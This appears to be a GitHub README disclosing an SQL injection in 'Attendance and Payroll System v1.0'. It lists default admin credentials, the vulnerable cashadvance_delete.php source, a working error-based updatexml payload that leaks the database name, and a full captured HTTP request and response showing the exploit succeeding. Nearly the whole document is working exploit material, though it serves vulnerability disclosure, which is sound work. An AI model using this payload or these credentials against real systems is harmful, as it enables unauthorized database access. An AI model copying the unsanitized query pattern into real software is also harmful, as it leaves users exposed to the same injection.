debug601 Create README.md History

1 contributor

36 lines (25 sloc) | 1.37 KB

Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

\admin\cashadvance_delete.php has SQL injection

SQL injection because id can be closed

Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),2)--+&delete=

info.php | install.sql.php | index.php | cashadvance_delete.php

```php
<?php
    include 'includes/session.php';

    if(isset($_POST['delete'])){
        $id = $_POST['id'];
        $sql = "DELETE FROM cashadvance WHERE id = '$id'";
        if($conn->query($sql)){
            $_SESSION['success'] = 'Cash advance deleted successfully';
        }
        else{
            $_SESSION['error'] = $conn->error;
        }
    }
    else{
        $_SESSION['error'] = 'Select item to delete first';
    }

    header('location: cashadvance.php');

?>
```

```
POST /apsystem/admin/cashadvance_delete.php HTTP/1.1
Host: 192.168.1.17
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.1.17/apsystem/admin/cashadvance.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta
Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&delete=
```

Request

Raw Params Headers Hex

```
POST /apsystem/admin/cashadvance_delete.php
HTTP/1.1
Host: 192.168.1.17
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type:
application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xm
l;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.17/apsystem/admin/cashadvanc
e.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta
Connection: close

id=3' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+&delete=
```

Response

Raw Headers Hex

```
HTTP/1.1 302 Found
Date: Mon, 21 Mar 2022 07:53:26 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: cashadvance.php
Content-Length: 99
Connection: close
Content-Type: text/html; charset=UTF-8

DELETE FROM cashadvance WHERE id = '3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--
'
```